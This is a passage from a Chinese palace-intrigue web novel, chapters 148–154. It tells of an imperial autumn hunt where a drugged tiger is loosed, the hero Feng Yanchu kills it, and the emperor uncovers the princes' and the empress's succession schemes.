所以他便岔开话题道:“五殿下读书非常好,我母亲开始希望我也能多读书,便时常拿他对比,这就导致我见他总不自在,恨不得离他远远的才好。”剩下没说的是,因为后来五皇子牵扯进夺嫡,他母亲警告他不许与之走的太近。
封砚初如此聪明一个人,又怎么可能猜不到,“哦,既如此咱们还是赶紧比一比谁打的猎物最多!且不能伤及皮毛,如何?”
“小瞧人了不是,走着!”
说罢,两人一边骑马慢行,一边仔细搜寻猎物。
第一百四十八章 林子里怎么会有老虎
不远处,一只小鹿低头吃草,每吃几口就警惕的抬头四处张望,转动着耳朵收集空气中的信息。
封砚初敛声屏气刚要搭弓射箭,可马儿的一声鼻响,惊动了远处的身影,小鹿立即跳跃着逃向远处。说时迟那时快,只听‘咻’的一声,一支箭贯穿双目。
捡起猎物挂在马后,此时马儿已经驮着大小共六只猎物,皆未伤皮毛。
陈泽文也赞道:“好箭法!”而他的猎物数目一样。
封砚初笑道:“你这是在夸自己呢?”
陈泽文摆手否认:“我是真的夸你,咱俩不同,你成日里读书,竟还抽出时间练习射箭。且读书和射箭还都这般厉害,你说让不让人佩服?”
只见他挑眉道:“原本还不觉得,经你这么一说,我这才发现自己这般努力上进。”
陈泽文笑骂道:“好厚的脸皮!夸你两句竟然要翘尾巴!”
两人正说着话,六皇子骑马而来。他远远的就看见了封砚初和陈泽文两人,便顺势过来。
“哟,你俩这不差上下啊!”六皇子又仔细一打量,继续道:“射术可以啊,竟然一箭贯穿双目,怎么?你们俩这是在比赛?”
封砚初与陈泽文一起拱手行礼:“臣封砚初/陈泽文,拜见殿下。”
等六皇子示意免礼之后,陈泽文这才开口道:“是啊,若只看数量自然不止这些,只是我二人自觉射术不差,有心相较。”说话间,又看了看六皇子的八个猎物,“看来六殿下收获颇丰啊!”
六皇子叹气道:“真是失策,早知道我也如你们这般射,如此看来我虽数量上胜出,可到底伤了皮毛。”
封砚初听后说道:“此次打猎终究是以数量取胜,我之所以不伤皮毛,也是想将猎来的皮子送给祖母和母亲。”
就在几人闲谈之际,忽然听见一声猛兽的呼啸之声!
“那是虎啸!”陈泽文脱口而出。
六皇子震惊道:“林子里怎么会有老虎!”不过他怀疑有人趁机谋划什么。
而封砚初则十分担心家中姐妹和大哥,“糟了,还有女眷!”说罢也不管行礼的事,骑马寻着声音而去,陈泽文则匆忙拱手后追去。
六皇子指着其中一名侍卫,立即吩咐道:“你!赶紧去禀报陛下!其余人随我一起猎虎救人!”
当封砚初快到跟前之时,马儿因感受到危险停滞不前,即使他几次甩鞭也一样,无奈只能弃马而去!
快到跟前,便看到一只猛虎暴躁不已,正欲往前扑去。而不远处竟然是二妹封砚婉,她本是要骑马而逃的,可马儿被虎威吓得四处乱窜。
周围更是有其他女眷四处逃走时发出尖叫声,可恰恰是这声音激怒了这只暴躁的老虎!
“二妹!别乱动!”
封砚婉哪里见过这种场景,她没有像其余娘子吓得尖叫腿软,已经是很镇定了,忽然听见熟悉的声音传来,转头望去,竟然是二哥,“二哥!你别管我!快自己逃!”
就在此时,那老虎一个猛扑,封砚婉吓得紧闭双眼,以为自己的命就要交代在这儿!
可身体突然腾空,睁眼一瞧,二哥在老虎扑来之前,已经抱起她逃了!
就在封砚婉呆呆地看着封砚初之时,他趁着猛虎再次扑来的空挡,瞅见一棵粗壮高大的树,一个飞身,将封砚婉放在树上。
老虎是会上树的,在其失去目标之际,便发现了树上之人。眼见老虎就要爬上树了,封砚初一个侧身飞踹,让老虎偏离目标。随后跳到地上,将其引离大树。
凡是前来参加秋猎的官员与勋贵是不允许携带武器的,所以封砚初的腰间并没有软剑。身后老虎不停的追,毕竟是第一次面对这种情况,说不紧张害怕那是假的,他只能凭借轻功不停地奔跑。
陈泽文手里也只有弓箭,他亦不敢上前,只能远远助攻,拉弓射箭,但并未将老虎射死,疼痛反而更加激怒了它。
就在此时,一个声音犹如天籁般传来,“封二郎,接枪!”原来是六皇子赶到了。
封砚初接过长枪,回身一扫,稍做阻挡,又趁势用旁边的树干借力,一个扭身腾空飞起,长枪犹如猛龙出海,长驱直入,刺向虎身。
‘噗呲’一声,刺中了,老虎受疼跌落下去!
就在此时,其余侍卫也一起上前围攻,虽说接下来封砚初也可以独自杀死老虎,可这些人的到来让事情变得更加顺利,众人也是长剑直入刺向老虎,最终发出一声悲鸣,倒地不起。
陈泽文与六皇子也迅速前来,两人紧张的问道:“可有受伤?”
得到摇头的答案之后,陈泽文这才反应过来,气的踹了一脚,骂道:“好你个封二郎!你会武怎么不早说!害的我为你担惊受怕,就担心你葬入虎口!”
封砚初却未回应,反而蹲下检查起这只老虎,随后眉心微蹙,声音十分严肃,“我虽不知这老虎为何出现在此处,但它之所以暴躁,是被下了药。”
“什么!”
“下药!”
六皇子与陈泽文两人的声音同时响起,只是疑惑点各不相同。
就在此时,一个声音响起,“二哥!我下不来!”
封砚初抬头看去,只见封砚婉正以一种奇怪的姿势抱着树,明显是往下爬卡在半截了。
“哦,哦,这就来。”其实他一不小心将对方短暂的忘记了。
将封砚婉抱下树之后,对方就气的踩了一脚,“二哥!我可是你亲妹妹!你竟然这样瞒着我!哼!”
封砚初清了清嗓子,示意不远处有六皇子,“还不赶紧见礼。”
封砚婉又恢复成那个端庄大气的女子,走上前行礼道:“武安侯府封砚婉,拜过六殿下!”
六皇子抬手道:“免礼。”
“对了,我的马呢?”封砚初这才想起那个扔在半道上的马。
“我的侍卫给你牵着呢。”
第一百四十九章 你不用拿话顶我
就在此时,禁军副统领冉秀瑾带着一队禁卫军匆匆赶来。当他看到六皇子竟然也在这里,心里先是‘咯噔’一下,随即发现对方并未受伤,这才松了一口气。
“臣冉秀瑾参见六殿下!”
六皇子看向对方的眼神十分锐利,言语中带着质问:“你们就是这么做事的!林子里有多少人,竟出现此种纰漏,若是父皇一时兴起也想前来围猎,你们可担当得起!”
“臣有罪,请六殿下责罚!”冉秀瑾保持着行礼的姿势说道。
“哼,你也不用拿话顶我,我又有何权力处罚你?你还是想着怎么给父皇回话吧!”六皇子说到此处,也不等对方回答,直接对侍卫挥手道:“抬走!”说罢,上马就要离开。
封砚初见状也将马牵来,对陈泽文与二妹封砚婉说道:“咱们也走吧!”
此时封砚婉平静下来,她的马亦被找了回来,只是猎物丢失一个,有些懊恼,“哎呀,只剩下两个了,我要多打一些才好。”
陈泽文是武职,他亦有心压那些人一头,已经骑在马上,有些迫不及待的催促着,“二郎,咱们快走!已经耽搁了好一会了。”
可没想到,此时六皇子说道:“你们三个还不跟上!”
陈泽文有些不愿意,“我们也回去?可猎物还没打够呢!”
只见六皇子转头看向陈泽文,颇为无语道:“发生了这样的事,以为陛下不会找你们?”
陈泽文一时间被问住了。
封砚初说道:“发生了这样的事,想来那些女眷都已经回去了,其余参与狩猎之人必定也一样,更何况咱们都是在场之人,肯定要被问话。”
陈泽文顿时有些不快,他才不在乎背后到底是谁使坏,或者牵扯着什么争斗,这些与他无关,也不想掺和进去。
封砚婉见二哥这么说,早已经骑上马等着。
就这样,大家都没有去理会禁军副统领冉秀瑾,扔下他离开。而他只能继续在周围搜寻,看是否有其他不妥之处。
六皇子一行人到了之后,发现很多人早都回来了,均在议论着。
他们的出现瞬间吸引了所有人的目光。
提心吊胆的武安侯府一众人,在看到封砚初与封砚婉之时,这才放下心来,随后又升起一股担忧。
“父亲,二郎和二妹都回来。”姐姐封砚敏为了不添乱,便与三妹封砚潼提前回来,可回来并没看见大郎、二郎和二妹,心中担心不已。
“回来就好,回来就好,看来是碰上六皇子一行人,是他们救了二郎和你妹妹。”封简宁得知林中出现老虎,眼见其余人陆续返回。两个儿子一直未见踪迹,吓得不行,逮着那些回来之人就问。可没有一个人看见,此刻仍旧心有余悸。
而封砚开在得知林子里有老虎之时,便立即去找二郎和姐妹们。他从旁人的口中得知封家三姐妹已经回去了,可仍旧放心不下二郎,找了一圈无果,只能返回。
“臣等参见陛下!”
原本脸色不佳的景和帝,见几人竟然抬着死虎归来,心情略有好转,“起来吧,是谁猎得这头猛虎?”
六殿下指着老虎身上的伤介绍道:“陛下,这处箭矢是陈泽文射中的,这处枪伤是封砚初所刺,其余的是侍卫所为。”
“好!你们几个都是英勇之人,此次狩猎不仅这头猛虎要计算在内,之后朕亦有赏赐!”景和帝如何不恼怒,好好的一个秋猎,竟被人暗中使坏利用,幸好这几人及时斩杀老虎,未造成死伤,不过眼下不是发作之机。
六皇子趁机说道:“陛下圣明,臣的猎物数量虽多于他们二人,可他们的箭法更胜一筹,所有猎物皆是贯穿双目,臣远不及也。”
于此同时,其余狩猎之人已经全部归来,陛下身边的侍卫也开始统计数量,没一会儿,已经全部核准。
随着长鸣号的响起,提示着所有人,猎物数量已经统计完成,陛下要开始分发赏赐。
因为意外发生,此次狩猎时长较以往短了许多,大家的猎物数量并不太多。
陈泽文中途的耽搁,导致他和第一名差了一个。只是他箭法精准未伤皮毛,且参与猎虎,综合考量之下,这才将武官的第一名给了他。
景和帝并未让台下领赏之人多等,直接开口道:“武官第一,陈泽文,赏赐八棱穿云枪一杆!”
“皇子宗室第一,六皇子,赏玉如意一柄!”
“文官第一,兵部侍郎安淮序,赏五牛图一副!”
“各府年轻郎君第一名,封砚初,赏紫杉长角弓一张!”
“女眷头名为平安公主,赏珍珠冠一顶!”
众人领了赏赐,又一一谢了恩退下。
随着长鸣号的再次响起,此次秋猎结束。封砚初与陈泽文两人却未能离开,而是被叫去了陛下的猎宫。
同去的还有守卫安防的禁军副统领,刑部尚书,新任礼部尚书,还有诸位皇子,至于那些直接负责林子安全的底层之人,早已经被看管起来了。
高位之上的景和帝,脸色早已不复之前的和煦,威严尽显,“是谁第一个发现老虎的!”
六皇子上前道:“最初发现老虎的是各府女眷,因惊慌迅速逃离,之后臣和封砚初,以及陈泽文几人听见虎啸之声,第一个赶到的是封砚初。”
而封砚初上前将事情的经过,一五一十的全部说了,最后道:“陛下,臣发觉那老虎似乎被下了药,否则不会如此狂躁,为保险起见,还请御医检验。”
景和帝朝一旁的太监挥手示意。没一会儿,一个太医被带上来,“陛下,经臣检查,的确下了令老虎狂躁的药,且剂量不少。”
第一百五十章 今后能够相互扶持
说到此处,刑部尚书开口道:“陛下,此事与封修撰,陈校尉无关,是否让他们二人先退下?”
景和帝挥手道:“准!”
就这样,封砚初与陈泽文一起出了猎宫。到门口之时,为他们带路的太监告知猎物皆已被家人带回去后,就回去了。
而猎宫外空荡荡的,连一匹马也没有,两人不敢有任何抱怨和要求。
直到离开猎宫的范围后,陈泽文这才问道:“二郎,你觉得今日这事是谁做的?”
封砚初摇头道:“猜不出,谁都有可能。不过原本陛下想要大办秋猎,被这件事搅和的虎头蛇尾般结束,所以无论背后之人是谁,他必定要会受到惩处。”只是会以何种形式处罚就不得而知了,这剩下的话他并未说出口。
陈泽文点头道:“是啊,无论是谁做的,这也太不知轻重了,毫无大局观,若出意外,后果不堪设想。”
封砚初嘴角浮出一抹意味不明的笑,“没准这恰恰是背后之人想要看到的!”他内心已经隐隐有了猜测。
接下来的话也不好深言,陈泽文便转变了话题,“不过,封二郎,你这武功是什么时候练的?我瞧着连你妹妹都不知道,莫非还瞒着家里人。”
“哈哈,瞧你这话说的,我这也是无奈之举。你也知道我父亲对读书一事有多么看重?幼时仅仅因我提出休沐的建议,差点挨揍,所以可不得瞒着。”封砚初尴尬的笑着,言语中带着无奈。
“休沐?你家学塾里没有休沐?”在陈泽文眼中,休沐是理所当然的。
“学塾?我父亲怎么可能放心!他特意请了启蒙先生来家里教,就在他眼皮子底下。除了中秋,过年,或者家里有宴席,否则全年无休,好在父亲最后同意了。不过我瞧你射箭不错,想来也是下了苦功的。”封砚初如今回想起来,才发觉父亲虽然严厉,但自己的很多要求最后都妥协了。
陈泽文呵呵笑着点头,“那是当然,十年如一日,如今我每天还要练习呢。自从那次你打了我之后,我便下定决心学武,来日定要将你打趴下,所以十分刻苦,以至于我父母后来都觉得你打的对。”
其实他没说的是,自己射箭之所以那般厉害,是因为小时候心里憋着一股气。便将封二郎的名字写下来,贴在靶子上练习,为的就是来日报仇。如今想来只觉得好笑,但这肯定不能说。
“那你岂不是要感谢我?”封砚初调侃道。
“这事好说,不过咱们什么时候切磋一场?”
“再说吧。”
“对了,孙延年是不是早就知道你会武?”陈泽文看向封砚初,对方虽未有变化,但他知道这是承认了,随后叹道:“他的嘴可真严啊,这么长时间愣是没露出一点痕迹。”
因为平昭公主住的不远,两人说话间,陈泽文就到了,可封砚初的住处还有很远一段路。
陈泽文吩咐下人牵一匹马过来,然后叹道:“我也不留你了,想必你家里人还有好多话要问你。幸亏我住的近,否则你就得腿着回去。”
“多谢了!”
等封砚初回去之后,只见屋子里安静的可怕。二妹封砚婉低头站在屋子中间,见他进来,还偷偷看,神情中满是歉疚之色。姐姐封砚敏则是用眼神暗示他做好准备。
“哟,这不是封二郎君回来了?”封简宁看到次子第一眼,就不阴不阳的说。
封砚初行完礼,只得道:“父亲说的这是什么话?怎么阴阳怪气的。”
‘砰!’
封简宁手掌猛地拍了桌子一下,气的骂道:“我阴阳怪气?你自幼不仅主意大,还调皮。这些年我还以为你早就稳重了,没想到更甚!说!还有什么瞒着我!”
封砚初也干脆摊开了,直接反驳着:“父亲何必怪儿子,记得以前我曾向您提出学武,可您不是以读书为由拒绝了吗?”
“你!你是要气死我!”封简宁说话间,就要起身打人。原本以为儿子会说两句软话,可他完全忘记了对方是多犟的一个人。
大郎和长姐见状,连忙上前拦着。一个劝着:“父亲,您消消气,仔细自己的身子。”
另一个说道:“父亲,二郎已经长大了,也得留些脸面,更何况这还是在外头。”
封砚初更是直接说道:“要儿子说,您也别生气,儿子虽隐瞒习武之事,可并未耽搁读书呀,如今已经考中进士入朝为官了。”
此时,封简宁的气已经消散的差不多了,更何况他也不是真心想打儿子,长叹一声道:“你们真以为我是气他瞒着家里吗?我是气他不信任。咱家祖上本就是武将出身,你练了武又如何,只要你能保持学业不落下,难道你祖父和我就这么容不下?”
说到此处,又对封砚初兄弟二人道:“为父年岁大了,只盼着你们两个,今后能够相互扶持,兄弟和睦。”其实封简宁更多是在担心长子有落差感,长时间下去兄弟二人会心生嫌隙,于是才有了这场斥责。
果然,封砚开拱手道:“父亲,您放心,儿子与二弟自幼一起读书写字,我们俩的目标就是振兴武安侯府。”
封砚初也说道:“无论儿子隐瞒了什么,但儿子的初心一直都是守护家人。”
封简宁听后感动不已,他强忍泪水道:“好好好,兄弟扶持,照顾家人,这才是我封氏子弟!”
一旁的封砚敏见状道:“今日猎场发生这样的意外,父亲为了等二郎还没用饭呢,女儿去厨房瞧瞧饭好了没。”
封简宁也觉得腹中饥饿,点头应允,“去吧!”
“二妹,你陪我一起。”封砚敏趁机将站在屋子中间的封砚婉拉走了。
“骑了快一日的马,你们也都下去洗漱更衣吧。”封简宁并未留下儿子说话。
封砚初得了这个吩咐,与大郎一起退下,回到了两人暂住的房间。
第一百五十一章 敞开心胸的畅谈
回到屋内,兄弟二人换完衣裳,并未着急出去,反而坐在一起说着话。
封砚开不得不承认,二弟比他优秀太多。小时候他那样努力学习,才能保持不落后。可是比起自己,二弟在学习一事上,用功程度只能说寻常,现下看来,对方甚至还抽出空闲时间习武,就这样还考中了状元。
空气一时之间竟有些凝滞,还是他最先开口,不过心中的确好奇,“二郎,你整日在家里,身边有下人围着,是怎么瞒住的?那武功又是何处得来的?”
封砚初神色轻松,最初他也担心大哥心有龃龉,现下对方主动开口,这才松了一口气,“大哥,你可知道我读书之时,不喜欢下人在旁边伺候,亦不喜屋内有太多的陈设?”
封砚开恍然大悟道:“哦~,你是不想她们发现你偷偷习武?”
封砚初点头道:“你是知道的,咱们身边的下人都是母亲配的,再加上父亲对咱们俩本就盯得紧,母亲自然也上心,所以一有风吹草动,必然要问询她们。”
“而且一开始也不这样,李妈妈不放心我一个人待着,总要在我身边留人,我可是花了很长时间才打消她的顾虑。最后为了能有习武的空间,更是对外声称,不喜欢屋内的陈设太过繁琐。”
封砚开听到此处笑道:“我说呢,你明明不喜欢屋子里有太多的陈设,可我初次去‘枕松闲居’时,你那里并不显得空旷,我还以为是母亲帮你弄的。”
“其实你说的也不错,确实是母亲帮着布置修缮了一番,但我也不喜欢屋内太过空旷。”他直接吐露实情。
封砚开若有所思,“原来如此!”
紧接着,他又道:“之后我就在广林巷置了宅子,自从咱们去学塾读书以后,我便时常溜去那里练武,冯四也是因此才被我要来的。”
封砚开见二弟并未回答武功的来处,再次问道:“那你这武功是从何而来?”
他自然不可能说出具体情况,那就是天方夜谭。
不过,还是需做个小小的变动,“你还记得我六岁那年,咱们因为在酒缸里撒尿,差点毁了祖父的寿宴。后来四郎高密,大家都被打了一顿的事吗?”
“记得,当时我气急了,还觉得四郎是个告状精,好长时间没给他好脸色,最后还是你劝的我。”即使到现在,封砚开提起这件事,依旧记忆犹新。
“对,就是那一次!我意外得到了一本枪法,一本剑谱,那是一个人临走时留给我的。”其实封砚初这个说法也不错,确实是意外所得,只是他将那虚无缥缈之物换成一个人。
而封砚开关注的却是另外一点,“什么?竟然有人偷摸潜入家里?你当时怎么不说?若那人伤了你可怎么好!”
他没想到大哥并未继续追问枪法与剑谱,反而关心自己的安危,便解释道:“我当时年幼并不懂这些,再说那人来无影去无踪的,好在这些年从未出现过。而且我连书里的内容都读不懂,还是进学后,这才慢慢理解里头的内容。总之,对方并未害我,又有什么可追究的呢?”
封砚开叹道:“罢了,只要咱家里好好的就行,再说于你而言,习武并无坏处!”
这一次,算是封砚初对大哥敞开心胸的一次畅谈。
‘咚咚咚!’
就在此时,响起一阵敲门声。
“大郎,二郎,该吃饭了。”原来是长姐封砚敏在门外喊二人。
“这就来。”
刚出屋子,封砚初再次碰见宜平侯罗甫轩与其子罗杰,只是和昨日相比,父子二人的面上多了些颓然之色。
“见过宜平侯。”封砚初上前行礼,随后疑惑道:“怎么瞧着罗三爷气色不佳,若是身体不适,还需早早看大夫,万不可讳疾忌医。”
此刻,宜平侯罗甫轩的脸上早已没有了昨日的温和,嘴上敷衍道:“是家中有急事,我又走不开,只能让他先回去处理。”
“如此就不打扰了。”封砚初拱手告辞。
三人进了房间后,封砚开这才问道:“二郎,咱们只需远远的行个礼即可,你怎么还特意上前打招呼?”他对二郎的行为十分疑惑。
封砚初已经联想到什么,只是想证实一番罢了,不过他并未说实话,“到底住在一个院子里,这才上去说两句话罢了。”
封砚开立即想到今日林子里发生的事情,再加上二弟还被陛下叫去猎宫问话,难道里头有什么牵扯不成?那可是大事,这里还是不要议论的好。
话说秋猎本要举行两天,可今日发生这样的事情,兴致早已被败坏。当天晚上,陛下就传下旨意,次日一早回京。
封简宁看向次子叮嘱道:“你向来聪明,没准已经将今日之事猜出几分,更别说你还被陛下叫去猎宫。只是回京后,必定有人明里暗里打听,你只需装作不知道的样子。”
他略作停顿,想到了信国公,也不知对方是否猜到,又会不会向他打听,便说着,“你也不必告诉为父。”
封砚初点头应道:“儿子知道。”
不管别人怎么想,反正封砚婉是觉得有些可惜,毕竟今天并未发挥出她的真实水平。
次日,天还未亮,东西就已经收拾好了,所有人都在等待着陛下先行出发。
来时之路,众人是那样的兴致勃勃,意气风发;可回去的队伍里却充斥着低迷的氛围,连气势都变得低沉。
第一百五十二章 可惜未能一箭双雕
回京之后,景和帝十分迅速,很快便查出幕后之人,以及推波助澜者。只是无法放到明面上说,还必须有人承担此事,所以负责安防的禁军副统领冉秀瑾,以及围场看管人员直接被处置。
勤政殿内。
景和帝气的一脚将大皇子踹倒在地,大骂道:“混账!你还是个人吗?”
他虽然猜到这里头可能牵扯到几个儿子之间的争斗,但万万没想到老大竟然亲自下场,派亲信之人在林子里放了一只老虎,还为其下药,且提前规划好路线,就在老五前面的路上等着。
而老五身边虽然带的侍卫少,可察觉阴谋之后,便想着顺势引老九过去,正好让老大背锅。
老九虽然年纪小,可皇后又不傻,派去跟随之人早就察觉,更是将女眷引去,就为了将此事闹大!
自事情失败之后,大皇子起初心里十分埋怨老六多事。此刻他被训斥,既深恨老五太过狡猾,心中又对封砚初与陈泽文无比厌恶,觉得这二人是故意与他作对,“父皇,臣冤枉啊!这事都是底下人擅自主张,臣压根不知道啊!”
“都到这个时候你还在狡辩!林子里那么多人参加狩猎,平安也在里头,更有各府女眷!可你丝毫不知悔改,你已不配为人!”景和帝已经不想看见这个儿子,性情喜怒不定,更是视无辜人命如草芥,若将来真登上皇位,岂不让天下人遭殃,没准还会葬送大晟江山。
大皇子简直不敢相信这是父皇所言,不停地磕头道:“父皇,臣是您的儿子啊,您竟如此说自己的亲儿子?再说臣也是一时眼盲心迷被人哄骗,还请父皇恕罪啊!”
景和帝只觉自己造孽,竟生下这等畜牲,事到如今不想着认错,还在辩解,“眼盲心迷?我看你是自私自利,毫无度量,更没有大局观,朕时隔几年特意举办的秋猎,满朝文武不知有多少人参加,你这是将朕的脸面踩在地上,来成全你自己吗!朕不想再看见你,滚回自己府上,禁足一年!”
大皇子见惩处下来,心里愤懑不已,只觉得父皇惩处太过。又担心自己因禁闭,在朝堂争斗上会落后与其他两位,可也只能接受,“臣领旨。”
此刻的大皇子还不知道,如果以前景和帝还会考虑来日立他为储君,那么现在的他便在无可能!
在出宫的路上,大皇子碰到了贵妃身边的女官,问道:“是母妃有什么事吗?”
女官道:“娘娘让奴婢来问殿下,陛下如何惩处您?”
大皇子一想到此事,脸色难看,语气便有些冲,“父皇让我在府中禁足一年!”
女官颔首道:“娘娘让奴婢转告殿下,请您别担心,在此期间娘娘会继续为您筹谋的。”
“多谢母妃,我先走了。”得到贵妃传来的话,大皇子心情略微好了些。
勤政殿内,景和帝身心感受到前所未有的疲惫,难道大晟的江山真要葬送在自己手里吗?
他竟有些羡慕武安侯,有那样优秀的两个儿子,且兄友弟恭。自己的儿子呢?大的一个喜怒无常毫无大局,另一个自私自利,小的一味只知听皇后的。
思及此处,不禁叹道:“难道朕要后继无人了吗?”
若是平时,江荣海会一言不发,今日却奇迹般地开口道:“陛下何出此言?此次秋猎六殿下英勇有加,得知林中有猛虎,更是立即前去处理,之后还说要将猎来的皮子送给陛下呢。”
景和帝听见这话,心情好了些,“他果真这么说?那我怎么没见着?”
江荣海笑道:“今日一早,六殿下进宫给贵妃娘娘请安,回去的路上正好碰见老奴,说皮子已经处理好了,过两日就给陛下送来。”
景和帝奇怪道:“既然弄好了,立即送来就是,怎么还过两日?”
江荣海忖度着,“陛下这两日心情不佳,六殿下觉着不是什么名贵的好皮子,许是担心挨骂吧。”
景和帝果然哈哈笑骂:“这孩子!他又没犯错,再者这是他的孝心,朕骂他做什么?你去告诉他,明日进宫给我送来!”
“是,陛下。”
坤宁宫。
黎皇后听到陛下对大皇子处置的消息后,正着人准备赏赐。
“之前猎场之事一直在查,如今陛下既然已经给出处置结果,本宫身为皇后,自然应该安抚好各府受惊女眷。”
一旁的女官一边对着名册清点,一边说道:“娘娘圣明,您是中宫皇后,母仪天下,自当如此。”
黎皇后笑道:“陛下处置了主犯,大皇子受底下人蒙骗被禁足,此事自是与咱们不相干,只是那个人?”
女官低声道:“娘娘放心,他本就是戴罪立功,能潜伏在大皇子身边多年,已经是娘娘给他机会,为了家人,他是心甘情愿的,再说娘娘也未曾亏待他的家人。”
黎皇后叹道:“只是可惜未能一箭双雕。”
五皇子府。
五皇子脸色铁青,“若非我警惕,险些上了皇后的当!往日装作一副慈和的嘴脸,没想到竟如此歹毒!就连老大也在我身边安插奸细,若不是提前发现,我当真就要葬身虎口了!”
五皇子的舅舅曲如梅直呼可惜,“皇后太警惕了,竟让九皇子躲过去了!只是不知陛下如何处置大皇子。”
“想必快了,让人盯着就是。”说到此处,五皇子怒火中烧,“皇后还想一箭双雕?且看她有没有这个本事!”
他又想到别的事,皱眉道:“只是老六的态度很奇怪,他是贵妃所养,又一向跟在老大身边,这次不仅没有提醒,反而在父皇跟前露了脸。”
曲如梅若有所思的猜测着,“大皇子一向对六皇子这个弟弟缺乏友爱之心,许是六皇子也受够了,否则怎么之前一直躲在城外的皇庄上?”
五皇子却不这么想,“难道他也起了夺嫡之心?这才与老大渐渐疏远?”
曲如梅道:“不会吧?六皇子母妃早逝,母家不过是地方小官,他身边没有任何人支持,夺嫡终究靠的是实力,而非个人能力,再说就能力而言,您比六皇子强多了。”
第一百五十三章 反而是一个寻常的父亲
“但愿是我想多了。”
其实这些年五皇子也拿不准父皇对老六的态度,要说宠爱,确实有几分。可别的也未见有何特殊待遇,否则老六母家怎么到如今还在地方上任职。
话说六皇子得了吩咐,次日便带着几张皮**进了宫。
“儿臣参见父皇。”
见到老六,景和帝沉闷的心情略好了些,抬手道:“快起来吧!不是说皮子早就弄好要献给朕,怎么?朕不催的话,你打算等到几时?”
六皇子脸上挂着笑,同时言语中又有几分讨巧,“父皇,瞧您说的,您这不是因为秋猎的事情心情不好嘛,儿臣担心触了您的霉头,白白挨一顿骂。”
景和帝挑眉道:“难道这就是你偷偷向江荣海打听的原因?”
“江总管一向有分寸,若是能说他便说了;若是不能说的,他的嘴比谁都严,只收好处不办事。”
没有一个人是完美的,江荣海自然也一样。此人贪些小财,恰好也在景和帝的容忍范围之内,所以六皇子恰恰是拿捏好了这个分寸,才如此说。
江荣海自然也知道,此刻他正表现出一种无措,颇有些尴尬的说,“老奴……老奴年岁不小了,想着攒两个傍身钱。”
景和帝指着对方道:“你这点小心思朕岂能不知?将老六带来的皮子收下去。”
江荣海一听这话立即笑道:“是。”之后亲自捧着那些皮子离开,都没让他徒弟碰。
等人走了之后,景和帝这才道:“和他们三个相比,还是你最懂事。”
六皇子亲自斟茶捧到景和帝跟前,又在对方喝茶的空档,一边为其捏肩,一边说道:“瞧您说的,儿臣是您的儿子,这儿子孝顺父亲,恭听父亲的教导,那都是应该的。”
景和帝听了这番话果然十分受用,其他儿子要么惧怕他,要么想从他这里得到些什么,要么勾心斗角不安分。
他话音突然一转,问道:“朕瞧着你和封砚初很熟悉,也知道他习武?现在看来,似乎连他家里人都不知此事。”
六皇子没想到父皇早就知道封砚初习武的事。他手上的动作未停,仿佛没有听出其中深意,反而像闲谈一般说道:“是啊,儿臣幼时就与他玩过几次,觉得颇为投契。只可惜后来武安老侯爷病逝,他又被武安侯拘在家里读书,就断了往来。”
“几年前,儿子分府后便爱上了打猎。在一次出城的路上碰见他,当时他因长姐成婚这才从隆安寺回城,也就是那时候恢复了往来。后来听说他在广林巷置了一个宅子,虽说晚了几年,但儿臣还特意上门祝贺。”
六皇子说到这里,仿佛是有什么趣事要讲,竟笑道:“父皇,您是不知道,封二郎担心武安侯知道后不许他练武,这才偷摸买了宅子。”
“就他那架子上的枪和长剑都是在铁匠铺打的,还是儿臣发现他连个趁手的武器都没有,这才特意让人制了一杆枪,一柄长剑送给他,没想到堂堂一个侯府公子连个像样的武器都没有!”
他像是激发起分享的欲望一样,继续说着,“您知道吗?就他那个叫‘枕松闲居’的宅子……哈哈哈……都是他用攒了好几年的月钱和压岁钱买的,里头十分素朴,就像是一个清修之所。最后还是他母亲实在看不下去,这才出钱为他重新修缮的!您说好笑不好笑!”
此时,他早已停下捏肩的动作,竟哈哈笑起来,眼泪都快流出来了,“他这件事,儿臣能笑话他一辈子!”
说到这里,又想起一件事,皱眉道:“儿臣还发现他竟同时研究医术,好似学的还不错,老虎被下药的事儿,还是他最初发现的呢!”
随后啧啧啧的感叹,“他在中进士之前将家人瞒得死死的,还考了个状元,他哪来那么多精力?不过是真聪明,儿臣是万万比不过的。”
六皇子说话之时,景和帝并未打断,反而静静听着。此刻的他才觉得自己不像帝王,反而是一个寻常的父亲,听着儿子说着与朋友之间的趣事,光明正大地笑对方之时,却不嫉妒,反而钦佩对方。
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>此刻,他也愿意同儿子多说两句,“记得封靖良还活着的时候,朕还说让他将人带进宫与你玩呢,结果那个老狐狸竟然推辞了!后来又听说那孩子实在淘气,都跑到房顶上了,便想着幸亏没叫进来同你玩。当时你都是个招猫逗狗的性子,哪个宫里没朝朕告过状?要是你俩加起来,岂不是要将宫里的屋顶给掀了?”
六皇子嘴角含笑,眼中浮现出一抹回忆,“儿臣还记得呢,当时儿子新学了弹弓,看到什么都想打。各宫屋顶上的瓦片,窗户;御花园的花啊,鸟啊的,没少遭罪。可父皇总舍不得重罚儿臣,每次骂一顿了事。”
殿内,是父子温情,而殿外却是另外一个情况。
黎皇后已经将所有赏赐之物备齐了,只需自己发懿旨即可。但是作为皇后,她还是需要将这件事告知陛下,本来昨晚就要说的,她甚至还派人去请。
可当时的景和帝正生着几人的气,又怎么可能去?皇后的面子还是要给的,便随意找了个借口拒绝。
黎皇后听着里头父子二人的谈笑之声,只觉刺耳。她多么希望陛下也能如此待九皇子,只有她的儿子才是嫡出,本应早早立为太子,可就是因为陛下的偏心与犹豫不决,导致什么人都想与她的儿子争!
此刻,她心中深恨着那些挡在储位前面的所有人。
“这里头是谁啊?”黎皇后的声音听起来是那样的宽和,就连脸上的笑都像是尺子量好似的。
江荣海没想到,他就是放了几张皮子,刚到殿门就碰见皇后,立即行礼道:“老奴给皇后娘娘请安!”
随后才说:“里头是六殿下。秋猎之时,六殿下亲自猎了几张皮子,因想着陛下这几日心情不好,特来献上。”这事只要稍稍一打听就知道,没有瞒着的必要,所以江荣海就直接说了。
黎皇后脸上神色未变,只轻声道:“哦,本来还有事要给陛下说,既然六皇子在里头,那本宫过后再来。”
江荣海躬身道:“老奴恭送皇后娘娘。”
第一百五十四章 心中满是疑惑!
黎皇后回到坤宁宫之后,立即变了脸,气的将桌上的茶盏砸到地上。
“你们都下去!”女官吩咐后,立即上前关心着,“娘娘,小心伤了您的手。”同时示意宫人将碎片收拾了。
“以前竟没发现老六是个谄媚之人,将陛下哄的乐呵呵的!”黎皇后硬是忍到自己宫里才发作,又想到江荣海那个狗腿子方才所说之语,更是气不打一处来,“哼!还有那个老太监是什么意思!等来日我儿……,本宫定要他好看!”那个词终究还是没说出口。
